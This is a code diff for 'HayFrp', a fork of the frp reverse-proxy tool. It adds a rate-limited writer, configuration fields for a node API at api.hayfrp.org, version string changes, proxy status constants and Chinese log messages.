Normal file
17
extend/limit/w_test.go
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
package limit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHttp(t *testing.T) {
|
||||||
|
http.HandleFunc("/test", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
lw := NewWriterWithLimit(w, 10*KB)
|
||||||
|
for {
|
||||||
|
fmt.Fprintf(lw, "x")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
http.ListenAndServe(":62542", nil)
|
||||||
|
}
|
63
extend/limit/writer.go
Normal file
63
extend/limit/writer.go
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
package limit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"io"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/time/rate"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Writer struct {
|
||||||
|
w io.Writer
|
||||||
|
limiter *rate.Limiter
|
||||||
|
ctx context.Context
|
||||||
|
mux sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewWriter returns a writer that implements io.Writer with rate limiting.
|
||||||
|
func NewWriter(w io.Writer) *Writer {
|
||||||
|
return &Writer{
|
||||||
|
w: w,
|
||||||
|
ctx: context.Background(),
|
||||||
|
mux: sync.Mutex{},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewWriterWithLimit(w io.Writer, speed uint64) *Writer {
|
||||||
|
ww := &Writer{
|
||||||
|
w: w,
|
||||||
|
ctx: context.Background(),
|
||||||
|
mux: sync.Mutex{},
|
||||||
|
}
|
||||||
|
ww.SetRateLimit(speed)
|
||||||
|
return ww
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetRateLimit sets rate limit (bytes/sec) to the writer.
|
||||||
|
func (s *Writer) SetRateLimit(bytesPerSec uint64) {
|
||||||
|
s.mux.Lock()
|
||||||
|
defer s.mux.Unlock()
|
||||||
|
|
||||||
|
s.limiter = rate.NewLimiter(rate.Limit(bytesPerSec), burstLimit)
|
||||||
|
s.limiter.AllowN(time.Now(), burstLimit) // spend initial burst
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write writes bytes from p.
|
||||||
|
func (s *Writer) Write(p []byte) (int, error) {
|
||||||
|
s.mux.Lock()
|
||||||
|
defer s.mux.Unlock()
|
||||||
|
|
||||||
|
if s.limiter == nil {
|
||||||
|
return s.w.Write(p)
|
||||||
|
}
|
||||||
|
n, err := s.w.Write(p)
|
||||||
|
if err != nil {
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
|
if err := s.limiter.WaitN(s.ctx, n); err != nil {
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
|
return n, err
|
||||||
|
}
|
32
g/g.go
Normal file
32
g/g.go
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
package g
|
||||||
|
|
||||||
|
import (
|
||||||
|
config "github.com/fatedier/frp/pkg/config/legacy"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
GlbClientCfg *ClientCfg
|
||||||
|
GlbServerCfg *ServerCfg
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
GlbClientCfg = &ClientCfg{
|
||||||
|
ClientCommonConf: config.GetDefaultClientConf(),
|
||||||
|
}
|
||||||
|
GlbServerCfg = &ServerCfg{
|
||||||
|
ServerCommonConf: config.GetDefaultServerConf(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type ClientCfg struct {
|
||||||
|
config.ClientCommonConf
|
||||||
|
|
||||||
|
CfgFile string
|
||||||
|
ServerUdpPort int // this is configured by login response from frps
|
||||||
|
}
|
||||||
|
|
||||||
|
type ServerCfg struct {
|
||||||
|
config.ServerCommonConf
|
||||||
|
|
||||||
|
CfgFile string
|
||||||
|
}
|
5
go.mod
5
go.mod
@ -41,6 +41,7 @@ require (
|
|||||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||||
github.com/go-jose/go-jose/v4 v4.0.1 // indirect
|
github.com/go-jose/go-jose/v4 v4.0.1 // indirect
|
||||||
github.com/go-logr/logr v1.4.1 // indirect
|
github.com/go-logr/logr v1.4.1 // indirect
|
||||||
|
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||||
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 // indirect
|
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 // indirect
|
||||||
github.com/golang/protobuf v1.5.4 // indirect
|
github.com/golang/protobuf v1.5.4 // indirect
|
||||||
github.com/golang/snappy v0.0.4 // indirect
|
github.com/golang/snappy v0.0.4 // indirect
|
||||||
@ -60,11 +61,15 @@ require (
|
|||||||
github.com/prometheus/common v0.48.0 // indirect
|
github.com/prometheus/common v0.48.0 // indirect
|
||||||
github.com/prometheus/procfs v0.12.0 // indirect
|
github.com/prometheus/procfs v0.12.0 // indirect
|
||||||
github.com/rogpeppe/go-internal v1.11.0 // indirect
|
github.com/rogpeppe/go-internal v1.11.0 // indirect
|
||||||
|
github.com/shirou/gopsutil v3.21.11+incompatible // indirect
|
||||||
github.com/templexxx/cpu v0.1.0 // indirect
|
github.com/templexxx/cpu v0.1.0 // indirect
|
||||||
github.com/templexxx/xorsimd v0.4.2 // indirect
|
github.com/templexxx/xorsimd v0.4.2 // indirect
|
||||||
github.com/tidwall/match v1.1.1 // indirect
|
github.com/tidwall/match v1.1.1 // indirect
|
||||||
github.com/tidwall/pretty v1.2.0 // indirect
|
github.com/tidwall/pretty v1.2.0 // indirect
|
||||||
github.com/tjfoc/gmsm v1.4.1 // indirect
|
github.com/tjfoc/gmsm v1.4.1 // indirect
|
||||||
|
github.com/tklauser/go-sysconf v0.3.14 // indirect
|
||||||
|
github.com/tklauser/numcpus v0.8.0 // indirect
|
||||||
|
github.com/yusufpapurcu/wmi v1.2.4 // indirect
|
||||||
go.uber.org/mock v0.4.0 // indirect
|
go.uber.org/mock v0.4.0 // indirect
|
||||||
golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect
|
golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect
|
||||||
golang.org/x/mod v0.14.0 // indirect
|
golang.org/x/mod v0.14.0 // indirect
|
||||||
|
11
go.sum
11
go.sum
@ -32,6 +32,8 @@ github.com/go-jose/go-jose/v4 v4.0.1 h1:QVEPDE3OluqXBQZDcnNvQrInro2h0e4eqNbnZSWq
|
|||||||
github.com/go-jose/go-jose/v4 v4.0.1/go.mod h1:WVf9LFMHh/QVrmqrOfqun0C45tMe3RoiKJMPvgWwLfY=
|
github.com/go-jose/go-jose/v4 v4.0.1/go.mod h1:WVf9LFMHh/QVrmqrOfqun0C45tMe3RoiKJMPvgWwLfY=
|
||||||
github.com/go-logr/logr v1.4.1 h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ=
|
github.com/go-logr/logr v1.4.1 h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ=
|
||||||
github.com/go-logr/logr v1.4.1/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
github.com/go-logr/logr v1.4.1/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||||
|
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||||
|
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||||
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI=
|
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI=
|
||||||
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls=
|
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls=
|
||||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||||
@ -121,6 +123,8 @@ github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUz
|
|||||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||||
github.com/samber/lo v1.39.0 h1:4gTz1wUhNYLhFSKl6O+8peW0v2F4BCY034GRpU9WnuA=
|
github.com/samber/lo v1.39.0 h1:4gTz1wUhNYLhFSKl6O+8peW0v2F4BCY034GRpU9WnuA=
|
||||||
github.com/samber/lo v1.39.0/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA=
|
github.com/samber/lo v1.39.0/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA=
|
||||||
|
github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
|
||||||
|
github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
|
||||||
github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
|
github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
|
||||||
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
|
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
|
||||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||||
@ -148,11 +152,17 @@ github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
|
|||||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||||
github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho=
|
github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho=
|
||||||
github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE=
|
github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE=
|
||||||
|
github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU=
|
||||||
|
github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY=
|
||||||
|
github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY=
|
||||||
|
github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE=
|
||||||
github.com/xtaci/kcp-go/v5 v5.6.8 h1:jlI/0jAyjoOjT/SaGB58s4bQMJiNS41A2RKzR6TMWeI=
|
github.com/xtaci/kcp-go/v5 v5.6.8 h1:jlI/0jAyjoOjT/SaGB58s4bQMJiNS41A2RKzR6TMWeI=
|
||||||
github.com/xtaci/kcp-go/v5 v5.6.8/go.mod h1:oE9j2NVqAkuKO5o8ByKGch3vgVX3BNf8zqP8JiGq0bM=
|
github.com/xtaci/kcp-go/v5 v5.6.8/go.mod h1:oE9j2NVqAkuKO5o8ByKGch3vgVX3BNf8zqP8JiGq0bM=
|
||||||
github.com/xtaci/lossyconn v0.0.0-20200209145036-adba10fffc37 h1:EWU6Pktpas0n8lLQwDsRyZfmkPeRbdgPtW609es+/9E=
|
github.com/xtaci/lossyconn v0.0.0-20200209145036-adba10fffc37 h1:EWU6Pktpas0n8lLQwDsRyZfmkPeRbdgPtW609es+/9E=
|
||||||
github.com/xtaci/lossyconn v0.0.0-20200209145036-adba10fffc37/go.mod h1:HpMP7DB2CyokmAh4lp0EQnnWhmycP/TvwBGzvuie+H0=
|
github.com/xtaci/lossyconn v0.0.0-20200209145036-adba10fffc37/go.mod h1:HpMP7DB2CyokmAh4lp0EQnnWhmycP/TvwBGzvuie+H0=
|
||||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||||
|
github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
|
||||||
|
github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||||
go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU=
|
go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU=
|
||||||
go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc=
|
go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc=
|
||||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||||
@ -201,6 +211,7 @@ golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
|||||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
@ -8,7 +8,7 @@ if [ $? -ne 0 ]; then
|
|||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
frp_version=`./bin/frps --version`
|
frp_version="0.59.0-HAYFRP"
|
||||||
echo "build version: $frp_version"
|
echo "build version: $frp_version"
|
||||||
|
|
||||||
# cross_compiles
|
# cross_compiles
|
||||||
|
@ -153,6 +153,9 @@ func Convert_ServerCommonConf_To_v1(conf *ServerCommonConf) *v1.ServerConfig {
|
|||||||
out.Transport.TLS.TrustedCaFile = conf.TLSTrustedCaFile
|
out.Transport.TLS.TrustedCaFile = conf.TLSTrustedCaFile
|
||||||
|
|
||||||
out.MaxPortsPerClient = conf.MaxPortsPerClient
|
out.MaxPortsPerClient = conf.MaxPortsPerClient
|
||||||
|
out.ApiBaseUrl = conf.ApiBaseUrl
|
||||||
|
out.ApiToken = conf.ApiToken
|
||||||
|
out.EnableApi = conf.EnableApi
|
||||||
|
|
||||||
for _, v := range conf.HTTPPlugins {
|
for _, v := range conf.HTTPPlugins {
|
||||||
out.HTTPPlugins = append(out.HTTPPlugins, v1.HTTPPluginOptions{
|
out.HTTPPlugins = append(out.HTTPPlugins, v1.HTTPPluginOptions{
|
||||||
|
@ -198,6 +198,10 @@ type ServerCommonConf struct {
|
|||||||
PprofEnable bool `ini:"pprof_enable" json:"pprof_enable"`
|
PprofEnable bool `ini:"pprof_enable" json:"pprof_enable"`
|
||||||
// NatHoleAnalysisDataReserveHours specifies the hours to reserve nat hole analysis data.
|
// NatHoleAnalysisDataReserveHours specifies the hours to reserve nat hole analysis data.
|
||||||
NatHoleAnalysisDataReserveHours int64 `ini:"nat_hole_analysis_data_reserve_hours" json:"nat_hole_analysis_data_reserve_hours"`
|
NatHoleAnalysisDataReserveHours int64 `ini:"nat_hole_analysis_data_reserve_hours" json:"nat_hole_analysis_data_reserve_hours"`
|
||||||
|
|
||||||
|
EnableApi bool `ini:"api_enable" json:"api_enable"`
|
||||||
|
ApiBaseUrl string `ini:"api_baseurl" json:"api_baseurl"`
|
||||||
|
ApiToken string `ini:"api_token" json:"api_token"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetDefaultServerConf returns a server configuration with reasonable defaults.
|
// GetDefaultServerConf returns a server configuration with reasonable defaults.
|
||||||
@ -214,6 +218,9 @@ func GetDefaultServerConf() ServerCommonConf {
|
|||||||
TCPMux: true,
|
TCPMux: true,
|
||||||
AllowPorts: make(map[int]struct{}),
|
AllowPorts: make(map[int]struct{}),
|
||||||
HTTPPlugins: make(map[string]HTTPPluginOptions),
|
HTTPPlugins: make(map[string]HTTPPluginOptions),
|
||||||
|
EnableApi: true,
|
||||||
|
ApiBaseUrl: "https://api.hayfrp.org/NodeAPI",
|
||||||
|
ApiToken: "UNSET|0",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -246,6 +253,11 @@ func UnmarshalServerConfFromIni(source interface{}) (ServerCommonConf, error) {
|
|||||||
common.AllowPortsStr = allowPortStr
|
common.AllowPortsStr = allowPortStr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// API
|
||||||
|
common.ApiToken = s.Key("api_token").String()
|
||||||
|
common.ApiBaseUrl = s.Key("api_baseurl").String()
|
||||||
|
common.EnableApi = s.Key("api_enable").MustBool(true)
|
||||||
|
|
||||||
// plugin.xxx
|
// plugin.xxx
|
||||||
pluginOpts := make(map[string]HTTPPluginOptions)
|
pluginOpts := make(map[string]HTTPPluginOptions)
|
||||||
for _, section := range f.Sections() {
|
for _, section := range f.Sections() {
|
||||||
|
@ -93,6 +93,10 @@ type ServerConfig struct {
|
|||||||
// NatHoleAnalysisDataReserveHours specifies the hours to reserve nat hole analysis data.
|
// NatHoleAnalysisDataReserveHours specifies the hours to reserve nat hole analysis data.
|
||||||
NatHoleAnalysisDataReserveHours int64 `json:"natholeAnalysisDataReserveHours,omitempty"`
|
NatHoleAnalysisDataReserveHours int64 `json:"natholeAnalysisDataReserveHours,omitempty"`
|
||||||
|
|
||||||
|
EnableApi bool `json:"api_enable,omitempty"`
|
||||||
|
ApiBaseUrl string `json:"api_baseurl,omitempty"`
|
||||||
|
ApiToken string `json:"api_token,omitempty"`
|
||||||
|
|
||||||
AllowPorts []types.PortsRange `json:"allowPorts,omitempty"`
|
AllowPorts []types.PortsRange `json:"allowPorts,omitempty"`
|
||||||
|
|
||||||
HTTPPlugins []HTTPPluginOptions `json:"httpPlugins,omitempty"`
|
HTTPPlugins []HTTPPluginOptions `json:"httpPlugins,omitempty"`
|
||||||
@ -114,6 +118,10 @@ func (c *ServerConfig) Complete() {
|
|||||||
if c.WebServer.Port > 0 {
|
if c.WebServer.Port > 0 {
|
||||||
c.WebServer.Addr = util.EmptyOr(c.WebServer.Addr, "0.0.0.0")
|
c.WebServer.Addr = util.EmptyOr(c.WebServer.Addr, "0.0.0.0")
|
||||||
}
|
}
|
||||||
|
// 添加对 EnableApi, ApiBaseUrl 和 ApiToken 的处理
|
||||||
|
c.EnableApi = util.EmptyOr(c.EnableApi, false)
|
||||||
|
c.ApiBaseUrl = util.EmptyOr(c.ApiBaseUrl, "")
|
||||||
|
c.ApiToken = util.EmptyOr(c.ApiToken, "")
|
||||||
|
|
||||||
c.VhostHTTPTimeout = util.EmptyOr(c.VhostHTTPTimeout, 60)
|
c.VhostHTTPTimeout = util.EmptyOr(c.VhostHTTPTimeout, 60)
|
||||||
c.DetailedErrorsToClient = util.EmptyOr(c.DetailedErrorsToClient, lo.ToPtr(true))
|
c.DetailedErrorsToClient = util.EmptyOr(c.DetailedErrorsToClient, lo.ToPtr(true))
|
||||||
|
32
pkg/consts/consts.go
Normal file
32
pkg/consts/consts.go
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
// Copyright 2016 fatedier, fatedier@gmail.com
|
||||||
|
//
|
||||||
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
// you may not use this file except in compliance with the License.
|
||||||
|
// You may obtain a copy of the License at
|
||||||
|
//
|
||||||
|
// http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
//
|
||||||
|
// Unless required by applicable law or agreed to in writing, software
|
||||||
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
// See the License for the specific language governing permissions and
|
||||||
|
// limitations under the License.
|
||||||
|
|
||||||
|
package consts
|
||||||
|
|
||||||
|
var (
|
||||||
|
// proxy status
|
||||||
|
Idle string = "idle"
|
||||||
|
Working string = "working"
|
||||||
|
Closed string = "closed"
|
||||||
|
Online string = "online"
|
||||||
|
Offline string = "offline"
|
||||||
|
|
||||||
|
// proxy type
|
||||||
|
TcpProxy string = "tcp"
|
||||||
|
UdpProxy string = "udp"
|
||||||
|
HttpProxy string = "http"
|
||||||
|
HttpsProxy string = "https"
|
||||||
|
StcpProxy string = "stcp"
|
||||||
|
XtcpProxy string = "xtcp"
|
||||||
|
)
|
@ -14,7 +14,7 @@
|
|||||||
|
|
||||||
package version
|
package version
|
||||||
|
|
||||||
var version = "0.59.0"
|
var version = "0.59.0-HAYFRP"
|
||||||
|
|
||||||
func Full() string {
|
func Full() string {
|
||||||
return version
|
return version
|
||||||
|
File diff suppressed because one or more lines are too long
@ -19,12 +19,11 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
"runtime/debug"
|
"runtime/debug"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/samber/lo"
|
|
||||||
|
|
||||||
"github.com/fatedier/frp/pkg/auth"
|
"github.com/fatedier/frp/pkg/auth"
|
||||||
"github.com/fatedier/frp/pkg/config"
|
"github.com/fatedier/frp/pkg/config"
|
||||||
v1 "github.com/fatedier/frp/pkg/config/v1"
|
v1 "github.com/fatedier/frp/pkg/config/v1"
|
||||||
@ -40,6 +39,10 @@ import (
|
|||||||
"github.com/fatedier/frp/server/controller"
|
"github.com/fatedier/frp/server/controller"
|
||||||
"github.com/fatedier/frp/server/metrics"
|
"github.com/fatedier/frp/server/metrics"
|
||||||
"github.com/fatedier/frp/server/proxy"
|
"github.com/fatedier/frp/server/proxy"
|
||||||
|
"github.com/fatedier/golib/control/shutdown"
|
||||||
|
"github.com/samber/lo"
|
||||||
|
|
||||||
|
"github.com/fatedier/frp/extend/api"
|
||||||
)
|
)
|
||||||
|
|
||||||
type ControlManager struct {
|
type ControlManager struct {
|
||||||
@ -84,6 +87,20 @@ func (cm *ControlManager) GetByID(runID string) (ctl *Control, ok bool) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (cm *ControlManager) SearchByID(runId string) (ctl *Control, ok bool) {
|
||||||
|
cm.mu.RLock()
|
||||||
|
defer cm.mu.RUnlock()
|
||||||
|
for k, v := range cm.ctlsByRunID {
|
||||||
|
if strings.IndexAny(k, runId+"-") > -1 {
|
||||||
|
if v == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ctl, ok = cm.ctlsByRunID[k]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
func (cm *ControlManager) Close() error {
|
func (cm *ControlManager) Close() error {
|
||||||
cm.mu.Lock()
|
cm.mu.Lock()
|
||||||
defer cm.mu.Unlock()
|
defer cm.mu.Unlock()
|
||||||
@ -140,8 +157,18 @@ type Control struct {
|
|||||||
// replace old controller instantly.
|
// replace old controller instantly.
|
||||||
runID string
|
runID string
|
||||||
|
|
||||||
|
// control status(API)
|
||||||
|
status string
|
||||||
|
readerShutdown *shutdown.Shutdown
|
||||||
|
writerShutdown *shutdown.Shutdown
|
||||||
|
managerShutdown *shutdown.Shutdown
|
||||||
|
allShutdown *shutdown.Shutdown
|
||||||
|
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
|
|
||||||
|
inLimit uint64
|
||||||
|
outLimit uint64
|
||||||
|
|
||||||
// Server configuration information
|
// Server configuration information
|
||||||
serverCfg *v1.ServerConfig
|
serverCfg *v1.ServerConfig
|
||||||
|
|
||||||
@ -224,7 +251,7 @@ func (ctl *Control) Close() error {
|
|||||||
|
|
||||||
func (ctl *Control) Replaced(newCtl *Control) {
|
func (ctl *Control) Replaced(newCtl *Control) {
|
||||||
xl := ctl.xl
|
xl := ctl.xl
|
||||||
xl.Infof("Replaced by client [%s]", newCtl.runID)
|
xl.Infof("由客户端更改 [%s]", newCtl.runID)
|
||||||
ctl.runID = ""
|
ctl.runID = ""
|
||||||
ctl.conn.Close()
|
ctl.conn.Close()
|
||||||
}
|
}
|
||||||
@ -233,18 +260,18 @@ func (ctl *Control) RegisterWorkConn(conn net.Conn) error {
|
|||||||
xl := ctl.xl
|
xl := ctl.xl
|
||||||
defer func() {
|
defer func() {
|
||||||
if err := recover(); err != nil {
|
if err := recover(); err != nil {
|
||||||
xl.Errorf("panic error: %v", err)
|
xl.Errorf("[HayFrp] 致命错误(Panic爆了): %v", err)
|
||||||
xl.Errorf(string(debug.Stack()))
|
xl.Errorf(string(debug.Stack()))
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case ctl.workConnCh <- conn:
|
case ctl.workConnCh <- conn:
|
||||||
xl.Debugf("new work connection registered")
|
xl.Debugf("新活动链接已注册")
|
||||||
return nil
|
return nil
|
||||||
default:
|
default:
|
||||||
xl.Debugf("work connection pool is full, discarding")
|
xl.Debugf("[HayFrp] 活动连接池已满,正在丢弃")
|
||||||
return fmt.Errorf("work connection pool is full, discarding")
|
return fmt.Errorf("[HayFrp] 活动连接池已满,正在丢弃")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -256,7 +283,7 @@ func (ctl *Control) GetWorkConn() (workConn net.Conn, err error) {
|
|||||||
